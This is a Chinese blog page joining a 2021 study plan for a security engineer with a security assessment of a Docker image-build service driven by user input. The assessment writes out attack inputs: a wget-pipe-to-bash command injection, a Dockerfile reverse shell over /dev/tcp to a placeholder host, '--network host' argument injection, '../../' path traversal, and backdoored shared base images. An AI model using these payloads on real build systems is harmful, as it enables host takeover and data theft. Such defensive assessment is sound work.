0%

学习方向

2021年给自己定了一些学习内容,包括:

  • 补专业课程
    • 编译原理 【优先级高】
    • 计算机操作系统 【优先级高】
    • 网络编程 【优先级中】
    • 设计模式 【优先级低】
    • 计算机组成原理 【优先级低】
    • 数据结构和算法 【优先级低】
  • 深入学习一门语言
    • Python 或者 Go

上面我根据自己的需要标注了学习的优先级。在2020年底已经学习了其中一部分。

为啥想着学这些呢?

在之前的工作中,我主要关注下面这些,包括

  • 安全产品
    • 白盒扫描
    • 黑盒扫描
    • WAF
    • HIDS
  • 安全研究
    • 容器
    • Web
    • 二进制
  • 安全建设
    • SDL

这些方向或浅或深地都和专业课程内容相关。比如说:

  • 开发中用的很多库背后有编译原理的知识点。比如搞Web安全的都知道FastJSON RCE漏洞,FastJSON做序列化时也会对输入字符串做词法分析。在分析FastJSON漏洞时如果清楚词法分析的概念和状态机实现,就可能不会迷失在代码细节中。词法分析就是编译原理前端部分的一小块内容。

  • WAF中SQL注入检测可以基于SQL语义分析,理论上效果比正则写的防护规则好很多,而语义分析就属于编译原理中前端部分的一块内容。

  • 学习二进制安全时,栈溢出和可执行文件的内存分布、函数调用过程等知识点非常相关,整型溢出和数字在计算机中的存储方式等知识点有关。这些知识点都在操作系统有讲到。

  • 之前在做开发工作时也会有不少需要操作系统知识的地方。比方说使用Python时因为GIL的存在,所以线程并不是同时运行,但是为啥线程在IO密集型应用中能够提高运行速度呢?这就涉及到Python实现和操作系统线程调度的知识。

  • 之前在研究云安全时遇到过一个case,就是容器内用户身份已经是root但是无法做arp欺骗攻击其他同网段同宿主机的容器。这个case的原因和网络知识的raw_socket有些关系。

  • 之前在做开发时对Python2.7的gevent monkey补丁工作原理有疑问。虽然网络上有很多的文章分析,但是自己总是看得不是很明白。我想原因是这一块涉及到的”阻塞与非阻塞、同步与非同步、多路复用”等知识点是需要花时间成体系理解的。这些知识点在网络编程中会有详细说明。

在工作中,很常用的学习方法是遇到啥就去查,边查边学。这样的学习方式好处是学习动力足、能快速解决问题,坏处是有时候这种学习方法不灵,比方说学习语义分析时,就必须要把词法分析、语法分析先学了,这其中需要花费的时间和精力还是不少的。如果靠自己在网上搜索的零零散散的知识点学习,效率就太低了。

总的来说,这一部分知识和工作的关联程度很高,且不太适合边查边学,所以需要系统地学习。

事实上,我觉得《编译原理》和《计算机操作系统》两门课太重要了,没学过且有一些需求驱动的读者,都可以看一看,不会亏。指不定就能花20%的时间掌握其中80%的内容,解决工作中的技术难题呢。

怎么学这些呢?

除了经典书籍,还有一些方式、资源,比如:

  • 请教公司的老师傅(我们部门的交流学习氛围还是挺不错的)
  • 正在极客时间上学编译原理之美,课程内容深入浅出,评论区里也有各路人马答疑解惑,推荐给大家。

背景

业务提供一个功能:根据用户的代码仓库编译镜像,并且管理镜像。

编译镜像时的业务实现类似下面这样,其中image_name_tag、dockerfile_file、dockerfile_path变量都是从外部web入口传入的

1
docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}

如果你是这个业务的研发或者安全测试人员,你觉得这里会产生哪些安全漏洞?

我的分析

  • 命令执行

    我想大家第一个都会想到”命令执行漏洞”:image_name_tag变量如果用户传入`wget -c http://xxx/x.sh | bash -c`就能执行远程服务器上的脚本,拿到宿主机服务器权限。

    如果研发大哥对传入的变量做了黑名单呢(比如判断是否包含$`),还有其他安全漏洞吗?

  • Dockerfile中反弹shell

    -f ${dockerfile_file}这里Dockerfile的内容是用户可控的,所以也很容易想到:我们可以在Dockerfile中写任意命令,获取到”反弹shell”

    1
    2
    3
    4
    FROM ubuntu
    MAINTAINER Victor Coisne victor.coisne@dotcloud.com
    RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口
    RUN bash /tmp/1.sh

    在”反弹shell”中我们可以尝试去访问”dockerd服务”所在的宿主机网络,或者宿主机能访问到的网络,然后可以去测试网络中的脆弱服务。

    如果研发大哥在这里用iptables对容器和宿主机网络做了隔离,还有其他安全漏洞吗?

  • 用户数据泄漏

    Dockerfile中的第一行FROM如果我填写其他用户编译好的镜像名称,是不是有可能读到其他用户镜像呢?

    虽然”镜像名称”难猜中,但是这个风险确实是存在的。

    如果研发大哥在构建镜像并推送到镜像仓库后,然后用docker rmi清空本地的镜像缓存,就不存在这种风险了,那还有其他安全漏洞吗?

  • 给所有镜像种个后门

    image_name_tag是编译后的镜像名,Dockerfile中的第一行FROM指令又需要一个基础镜像,那么是否存在如下可能:A用户使用的基础镜像是B用户build生成。如果存在这个可能,那一个恶意用户build生成带后门的nginx、ubuntu等基础镜像,就可以导致其他用户的生成镜像时都带上后门。

    测试后,发现”dockerd服务”默认会使用本地镜像,所以会出现上面的问题。

    –pull=true|false

        Always attempt to pull a newer version of the image. The default is false.

    如果研发大哥使用了docker build --pull=true每次拉取最新镜像,还有其他安全漏洞吗?

  • 命令参数注入--network host

    如果传入image_name_tag参数值是xxx --network host,可以达到docker build xxx --network host的效果,配合Dockerfile中反弹shell,可以让shell和”dockerd服务”处于同一个网络。这样iptables对容器和宿主机的网络隔离就不起作用了。

    当然你还可以注入--build-arg读宿主机环境变量,或者看看docker build还有没有其他的命令行参数可以拿来利用。

    如果研发大哥对参数值判断了,不允许-符号传入呢,还有其他安全漏洞吗?

  • 服务数据泄漏

    下面的命令可以把”docker客户端”的/tmp../../目录下的文件全部拷贝到”编译容器”中,配合Dockerfile中反弹shell,可以在shell中读到”docker客户端”机器上的

    1
    2
    docker build -f ./Dockerfile /tmp
    docker build -f ./Dockerfile ../../

    同时你可能需要用.dockersignore文件忽略某些文件或目录,避免一些大文件被拷贝到”编译容器”。

    所以如果用户传入dockerfile_path参数为../../这种形式的路径,是可以读到机器上的文件。

    如果研发大哥判断用户传入的参数,不允许出现..这种目录跳转,还有其他安全漏洞吗?

    emm,反正我想不到其他的攻击点了。

    另外我想补充说明一下,docker是一个cs架构的软件,所以在做漏洞利用时需要清楚我们是在谁的网络环境下、读谁的文件(谁指的是客户端还是服务端)

总结

本文介绍了一个docker相关的安全评估的案例,包括其中的风险点和修复措施,希望你能有点收获。

在做这个评估时,我的感受是:有时候业务评估非常依赖评估人员自身的经验,并且好像没有办法依赖一个方法论(比如stride)评估出所有风险点。

PS:欢迎读者与我讨论、指正文章内容。